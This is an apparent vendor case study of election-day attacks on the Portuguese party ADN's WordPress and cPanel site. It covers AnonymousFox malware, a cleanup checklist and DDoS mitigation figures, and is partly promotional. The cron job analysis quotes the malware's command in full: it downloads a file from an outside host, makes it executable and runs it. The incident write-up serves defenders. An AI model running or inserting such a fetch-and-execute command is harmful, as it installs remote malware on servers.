Case Study: DiamWall's Response to Election Day Cyber Threats Faced by ADN

Introduction: Elections in Portugal

Elections are one of the most active times in the cybercrime world, offering a unique perspective on how threats emerge around election days. Some of these cyberattacks occur before the election day and only take action shortly before the elections. Election websites usually contain sensitive data or are essential for maintaining online activities related to the elections, making them prime targets for disrupting or compromising the democratic process.

The Alternativa Democrática Nacional (ADN), translanting to: National Democratic Alternative, is a prominent party in Portugal that played a significant role in the recent elections alongside its substantial growth. This growth made ADN a prime target for cybercriminals, leading to the unavailability of their web services starting at midnight on the election day (Sunday, March 10th, 2024), facing threats ranging from Distributed Denial of Service (DDoS) attacks, significant bot traffic, and multiple malware infection attempts.

The collaboration between ADN and DiamWall exemplifies a proactive and strategic response to the cyber challenges that modern elections face. By incorporating DiamWall and applying its security measures, a culture of digital resilience was promoted. DiamWall not only mitigated the immediate threats but also ensured the responsiveness of web services, maintaining the security and inviolability of the digital dimension of democracy.

The Event: Legislative Elections of 2024

On March 10th, 2024, during the legislative elections in Portugal, a cyberattack targeted ADN right at midnight. The attack involved malware infections that exploited unidentified vulnerabilities in ADN's WordPress site, causing significant resource consumption and fully utilizing the server's processor and RAM.

This malware attack, orchestrated by the Malware known as "AnonymousFox," specifically targeted a well known CMS website platform with exploitable vulnerabilities, escalating the attack to infect the software where WordPress is hosted. In ADN's case, the most vulnerable point was cPanel. Consequently, a cron job was created in cPanel to make requests and download files from the endpoint "http://hello.hahaha666.xyz/xxxd".

Malware Cron Job

Firstly, let's understand the basics. A cron job is essentially a scheduled task executed in a Linux environment, which is common in almost all cPanel servers. Cron tasks are frequently used by server administrators to perform functions like software updates and backups. In this case, however, it was used maliciously:

Figure: Cron Job management interface in cPanel.

Reinfection

We observed that the AnonymousFox malware deployed various techniques to make its removal more difficult. There were malicious processes running on the server with the goal of re-infecting the system with the payloads from the files. This process continued until these processes was terminated. Moreover, the cron job also contributed to the system's re-infection. Additionally, some .htaccess files limited PHP file execution only to the malicious files that were part of the malware.

Cron Job Analysis

Let's analyze the cron job that was executed and what it was attempting to do in cPanel and WordPress. The command sequence used was:

wget -q -O xxxd http://hello.hahaha666.xyz/xxxd && chmod 0755 xxxd && /bin/sh xxxd /home/userhidden/adn.com.pt 24 && rm -f xxxd

This command sequence fetched malware from a central infection point, set the correct permissions, and began the malware extraction process, which would infect the entire WordPress environment. The primary infection points were WordPress themes and plugins, each containing modified .htaccess files and malicious code:

Figure: Obfuscated malicious code example. Credit: Sucuri.

Figure: Decoded AnonymousFox webshell example. Credit: Sucuri.

Without removing the cron job, the environment would be reinfected in a very short period if these webshells were removed. In addition to the webshells, .htaccess modifications, and the cron job, the AnonymousFox malware also attempted to create admin-level users in WordPress, email accounts, and users in cPanel.

Response from DiamWall to the Malware

Manually checking and disinfecting files is a challenging task. Therefore, the preferred option is to use Anti Malware solutions, ideally with heuristic methods that have high detection rates. The response procedure included:

1. Removing the AnonymousFox malware cron job.
2. Terminating all Linux processes that could be causing re-infection.
3. Identifying infected files, either manually or with Anti Malware/Scanners.
4. Removing malicious files.
5. Ensuring all databases, both WordPress's and cPanel's, did not contain any unwanted tables or accounts.
6. Removing backdoors, which could be vulnerable plugins or themes in WordPress.
7. Re-checking all plugins and themes, disabling them one by one to identify any unwanted processes or resource usage spikes.

After the malware removal checklist is completed, it is essential to ensure:

1. Another site scan is performed to ensure all processes are terminated, and all traces of the malware are gone.
2. All user passwords, including WordPress, cPanel, phpMyAdmin, FTP, and email accounts, are changed.
3. If there are any security keys and salts, they should be refreshed.
4. Check for hidden plugins or files.
5. Verify file permissions are correct.

It is crucial to have an Anti Malware solution in place, either in cPanel or WordPress, ensuring continuous cleaning of malicious files, using strong passwords, and keeping all plugins, themes, and WordPress itself up-to-date to benefit from known vulnerability fixes.

After the cleanup, DiamWall can ensure, through its Web Application Firewall (WAF), that WordPress is not reinfected. The WAF can intercept and block malicious attacks and, in a cloud-based manner, correct vulnerabilities present in WordPress.

Election Hour: Post-Incident

As election time approached, ADN's website traffic increased to an average of 200 simultaneous visitors per second, overwhelming the cPanel resources and causing the website to go down again. DiamWall then implemented strategic caching for the website, optimizing its performance and allowing static content to be served efficiently. This optimization significantly reduced the processor load, bringing the CPU usage down from 100% to an average of 1-5%.

Beginning of DDoS Attacks

In addition to optimizations, DiamWall blocked a large number of bots trying to access the website along with DDoS attacks. Three DDoS attacks were blocked by DiamWall:

First attack:

• Started at 22:36 and ended at 22:39.
• It had a total of 19,105 malicious connections with a peak of 1,487 connections per second.

Figure: Graph showing the first DDoS attack details. Credit: DiamWall CDN.

Second attack:

• Started at 22:57 and ended at 23:00.
• It had a total of 438,214 malicious connections with a peak of 9,852 connections per second.

Figure: Graph showing the second DDoS attack details. Credit: DiamWall CDN.

Third attack:

• Started at 23:00 and ended at 23:07.
• It had a total of 215,143 malicious connections with a peak of 3,601 connections per second.

Figure: Graph showing the third DDoS attack details. Credit: DiamWall CDN.

These DDoS attacks were automatically detected and mitigated by DiamWall, which utilizes an AI-powered sensor to detect and counteract attacks, also notifying the client of all actions taken.

Acknowledgements

We would like to express our profound gratitude to Engineer Nuno Pereira, whose dedication and commitment were indispensable throughout this event. Always present and hands-on, Nuno worked closely with the DiamWall team, investing countless hours to ensure that all technical aspects operated flawlessly. His expertise was crucial from managing email servers to configuring all DNS records. His contribution not only facilitated our processes but also ensured the success and efficiency of our operations.

Conclusion: The Efficacy of DiamWall CDN

In the digital age, where cyber threats are increasingly sophisticated and relentless, the importance of robust cybersecurity measures cannot be overstated. The recent cyber attacks on the Alternativa Democrática Nacional (ADN), translating to: National Democratic Alternative, during Portugal's legislative elections underscore this point. These incidents vividly illustrate the multifaceted nature of cyber threats, encompassing DDoS attacks, malware infections, and exploitation of vulnerabilities.

DiamWall CDN has emerged as a formidable ally in this context, offering comprehensive protection against a spectrum of cyber threats. Through its advanced security features, DiamWall CDN played a pivotal role in mitigating the attacks on ADN, demonstrating its capability to detect and neutralize threats in real-time. The use of DiamWall's Web Application Firewall (WAF) and other proprietary security technologies ensured that ADN's digital assets were shielded from malicious activities, preventing data breaches and ensuring the integrity of the election process.

Moreover, DiamWall CDN's ability to distribute web content across multiple servers significantly reduces the risk of downtime, a critical feature during important events like elections. By balancing the load, DiamWall CDN ensures that websites remain accessible, even under the strain of high traffic or targeted cyber attacks. This was particularly evident when DiamWall CDN successfully countered the DDoS attacks against ADN, maintaining the website's availability and performance despite the onslaught.

In conclusion, DiamWall CDN's role in this incident is a testament to its effectiveness in safeguarding digital infrastructure against an array of cyber threats. It highlights the necessity of proactive and advanced cybersecurity solutions to protect against the evolving landscape of cyberattacks. For organizations like ADN, which play a crucial role in democratic processes, partnering with DiamWall CDN offers not just security but also peace of mind, knowing that their digital presence is resilient against cyber threats. As cyber adversaries continue to advance their tactics, the collaboration between technology providers like DiamWall and their clients will be paramount in securing the digital frontier.